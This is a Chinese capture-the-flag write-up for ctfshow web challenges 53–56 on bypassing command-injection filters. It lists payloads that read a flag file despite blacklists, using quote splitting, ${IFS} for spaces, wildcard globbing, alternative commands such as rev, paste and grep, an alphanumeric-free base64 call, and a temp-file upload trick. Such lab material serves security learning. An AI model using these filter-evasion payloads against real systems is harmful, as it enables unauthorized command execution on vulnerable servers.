web53
多过滤了一个wget,多添加了一个回显。
payload:
1 | ?c=ca''t${IFS}fla''g.php |
web54
这道将使用''
的方式给剔除了。去网上找其他人的wp发现好几种方法。
第一种:
可以用mv。
payload:
1 | /?c=mv${IFS}fla?.php${IFS}abc.txt |
第二种:
1 | grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行 |
payload:
1 | ?c=grep${IFS}ctf${IFS}fl???php |
第三种:
可以用rev
逆序输出
payload:
1 | ?c=rev${IFS}fl?????? |
第四种:
用paste
直接查看
payload:
1 | ?c=paste${IFS}fl?????? |
第五种:
可以理解为当前目录运行cat命令实际上运行的也是bin/cat。
payload:
1 | /bin/?at${IFS}fl?????? |
web55
题是真的恶心,脑子有点痒,感觉要长脑子了。。。。
继无字母数字的命令执行(ctfshow web入门 55)新姿势
payload:
1 | ?c=/???/????64 ????.??? |
web56
题是越来越难了。
参考P神的文章上无字母数字webshell之提高篇
首先构造一个POST上传文件的数据包
1 | <!DOCTYPE html> |
上传一个php文件
1 | #!/bin/sh |
注:shell程序必须以”#!/bin/sh”开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
用bp抓包
抓包之后添加参数c如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令
参数内容为什么是 .%20/???/????????[@-[] ,P神的文章已经写的很详细了。
最后用cat看一下就可以了